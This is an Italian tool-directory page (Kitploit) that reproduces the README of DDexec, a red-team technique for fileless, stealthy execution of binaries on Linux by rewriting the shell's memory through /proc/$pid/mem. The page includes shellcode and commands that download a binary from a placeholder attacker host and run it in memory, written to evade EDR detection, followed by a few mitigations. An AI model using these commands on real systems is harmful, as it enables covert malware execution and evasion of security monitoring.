Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DDexec — Una tecnica per eseguire binari in modo senza file e furtivo su Linux "sovrascrivendo" il processo della shell con un altro. | Kitploit
Strumenti/GitHubGitHub/arget13/ddexec
Generazione di PayloadShellcodePost-ExploitPenetration TestingRed TeamingBinary Exploitation
GitHubarget13/ddexec

DDexec

Una tecnica per eseguire binari in modo senza file e furtivo su Linux "sovrascrivendo" il processo della shell con un altro.

Vedi Repository
893901 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Novità di DDexec

Ho aggiornato DDexec così tanto che è ormai irriconoscibile: l'analisi dell'ELF è ora eseguita da codice macchina invece che dallo script shell, rendendolo molto più veloce, affidabile e comprensibile. Ha anche ridotto le sue dipendenze al minimo assoluto.

Inoltre ora dipende a malapena dall'aritmetica della shell, il che potrebbe farlo funzionare su Android.

Contesto

In Linux, per eseguire un programma, esso deve esistere come file, deve essere accessibile in qualche modo attraverso la gerarchia del filesystem (è così che funziona execve()). Questo file può risiedere su disco o in RAM (tmpfs, memfd), ma hai bisogno di un percorso file. Questo ha reso molto facile controllare cosa viene eseguito su un sistema Linux, rende facile rilevare minacce e strumenti degli attaccanti o impedire loro di tentare di eseguire qualsiasi cosa di proprio (es. non permettendo agli utenti non privilegiati di posizionare file eseguibili da nessuna parte).

Bene, se non puoi avviare il processo che desideri... allora dirotti e torturi uno già esistente finché non soddisfa i tuoi desideri.

Utilizzo

Pipinga il binario che vuoi eseguire nello script ddexec.sh. Gli argomenti per lo script sono gli argomenti per il programma (a partire da argv[0]).

Ecco, prova questo:

root@kitploit:~
bash ddexec.sh ls -lA < /bin/ls

che è facilmente weaponizzabile con qualcosa come:

root@kitploit:~
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar

C'è anche lo script ddsc.sh che permette di eseguire direttamente codice macchina. Il seguente è un esempio dell'uso di uno shellcode che creerà un memfd (un descrittore di file che punta a un file in memoria) a cui possiamo successivamente scrivere binari ed eseguirli, dalla memoria ovviamente.

root@kitploit:~
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4

Su ARM64 il processo è lo stesso.

root@kitploit:~
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"

Le distribuzioni Linux testate sono Debian, Alpine e Arch. Le shell supportate sono bash, zsh e ash (busybox); sulle architetture x86_64 e aarch64 (arm64).

EverythingExec

A partire dal 12/12/2022 ho trovato alcune alternative a dd, una delle quali, tail, è attualmente il programma predefinito usato per lseek() attraverso il file mem (che era l'unico scopo dell'uso di dd). Dette alternative sono:

root@kitploit:~
tail
hexdump
cmp
xxd

Impostando la variabile SEEKER puoi cambiare il seeker utilizzato, es.:

root@kitploit:~
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

Se trovi un altro seeker valido non implementato nello script, puoi comunque usarlo impostando la variabile SEEKER_ARGS:

root@kitploit:~
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

Blocca questo, EDR.

Dipendenze

Questo script dipende dai seguenti strumenti per funzionare.

root@kitploit:~
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | qualsiasi altro programma che ci permetta di cercare attraverso un fd

Nel caso di ash, tail, dd, hexdump, cmp e xxd sono built-in, quindi non sono effettivamente una dipendenza.

Nota: Funziona solo su versioni moderne di busybox, non sono sicuro della versione più vecchia, non l'ho verificata. So che funziona su v1.35.0, ma non su v1.30.0.

La tecnica

Se sei in grado di modificare arbitrariamente la memoria di un processo, allora puoi prenderne il controllo. Questo può essere usato per dirottare un processo già esistente e sostituirlo con un altro programma. Possiamo ottenere ciò usando la syscall ptrace() (che richiede la capacità di eseguire syscall o di avere gdb disponibile sul sistema) o, più interessante, scrivendo su /proc/$pid/mem.

Il file /proc/$pid/mem è una mappatura uno-a-uno dello spazio degli indirizzi in userland di un processo (es. da 0x0 a 0x7ffffffffffff000 su x86-64). Ciò significa che leggere o scrivere su questo file a un offset x equivale a leggere o modificare i contenuti all'indirizzo virtuale x.

Ora, abbiamo tre problemi di base da affrontare:

  • In generale, solo root e il proprietario del programma possono modificare il file.
  • ASLR.
  • Se proviamo a leggere o scrivere a un indirizzo non mappato nello spazio degli indirizzi del programma, otterremo un errore I/O.

Ma abbiamo soluzioni intelligenti:

  • La maggior parte degli interpreti di shell permette la creazione di descrittori di file che saranno poi ereditati dai processi figli. Possiamo creare un fd che punta al file mem della shell con permessi di scrittura... così i processi figli che usano quel fd saranno in grado di modificare la memoria della shell.
  • ASLR non è nemmeno un problema, possiamo controllare il file maps della shell dal procfs per ottenere informazioni sul layout degli indirizzi del processo.
  • Quindi dobbiamo fare lseek() sul file. Dalla shell questo può essere fatto usando alcuni binari comuni, come tail o il famigerato dd, vedi la sezione EverythingExec per maggiori informazioni.

Più in dettaglio

I passaggi sono relativamente facili e non richiedono alcuna competenza per essere compresi:

  • Ottenere da /proc/$pid/syscall l'indirizzo a cui il processo tornerà dopo la syscall che sta attualmente eseguendo — poiché stiamo leggendo questo file, detta syscall sarà read(), e l'indirizzo sarà nel wrapper di read() della libc. Questo serve solo per ottenere un posto dove il nostro stager sarà trovato a breve.
  • Sovrascrivere quel posto, che sarà eseguibile, con uno stager (attraverso mem possiamo modificare pagine non scrivibili). Detto stager leggerà ed eseguirà uno shellcode più grande.
  • Questo shellcode, in generale, eseguirà gli stessi passaggi che il kernel fa ad ogni chiamata a execve():
    • Analizzare il binario, trovare quale loader necessita, e i mapping di cui entrambi hanno bisogno.
    • Creare i mapping di cui hanno bisogno.
    • Leggere i binari al loro interno.
    • Impostare i permessi.
    • Alla fine inizializzare lo stack con gli argomenti per il programma e posizionare il vettore ausiliario (necessario per il loader).
    • Saltare nel loader e lasciare che faccia il resto (caricare e linkare le librerie necessarie al programma).

Lo shellcode è stato generato compilando loader.c, e modificando il suo assembly per rimuovere e semplificare molti artefatti introdotti dal compilatore.

Contribuisci

Beh, ci sono un paio di TODO. Oltre a questo, potresti aver notato che non so molto di scripting shell (io sono più un programmatore C) e sono sicuro di aver vinto un decennio di premi "useless use of a cat" — nessun gatto è stato danneggiato nella creazione di questo strumento — e il resto delle varianti solo con una frazione di questo progetto.

— Portare ad altre shell — al limite dovremmo rendere lo script POSIX compliant.

  • Permettere di eseguire il programma con un ambiente non vuoto.
  • Caricare anche in modo fileless il loader per il programma, nel caso non fosse sul sistema di destinazione (potrebbe essere una distribuzione con musl, per esempio, come Alpine).
  • E anche permettere di caricare (fileless, ovviamente) da un'altra fonte le librerie necessarie, nel caso non fossero sul sistema (potrebbe essere addirittura distroless e non avere alcuna libreria). Per questo, memdlopen è probabilmente la strada.
  • ddsc.sh necessita di un piccolo aggiornamento.

Comunque, sentiti libero di forkare e fare PR. Ma per favore, quando contribuisci tieni presente che le PR che lo fanno smettere di funzionare sulle shell supportate non saranno accettate, questo non è contribuire, è solo rompere le cose. Sarebbe meglio se le tue modifiche fossero POSIX compliant.

Solo... per favore, per favore, per favore, controlla il tuo codice e verifica che funzioni sulle shell supportate almeno su Debian e Alpine. Sono solo un paio di docker.

Crediti

Dopo aver pubblicato questo strumento, ho scoperto che Sektor7 aveva già pubblicato questa tecnica quasi identica sul loro blog alcuni anni fa.

Nonostante ciò, ho pensato a questa tecnica in modo indipendente, ora quasi interamente. Probabilmente la parte più intelligente di questa tecnica è l'uso del descrittore di file ereditato, idea fornita da David Buchanan (ispirata dal blog di Sektor7) quasi un anno prima che iniziassi a pensare a questo argomento. Da sola, questo non solo rende la tecnica molto più semplice e pulita, la rende anche molto più letale eliminando la necessità di disabilitare ASLR.

In ogni caso, spero di riuscire a diffondere questa tecnica molto di più, che è ciò che conta.

Vorrei ringraziare Carlos Polop, un grande pentester e miglior amico, per avermi fatto pensare a questo argomento, e per il suo utile feedback e interesse, oh e gli devo anche il nome del progetto. Sono sicuro che se stai leggendo questo, hai già usato il suo fantastico strumento PEASS e hai trovato utile qualche articolo nel suo libro HackTricks.

E adesso?

Puoi:

  • Andare distroless. Beh, in certi scenari potrebbe non proteggerti affatto.
  • Usare un kernel compilato senza supporto per il file mem.
  • Non montare procfs.

Domande? Minacce di morte?

Puoi contattarmi su Twitter.

Scarica lo strumento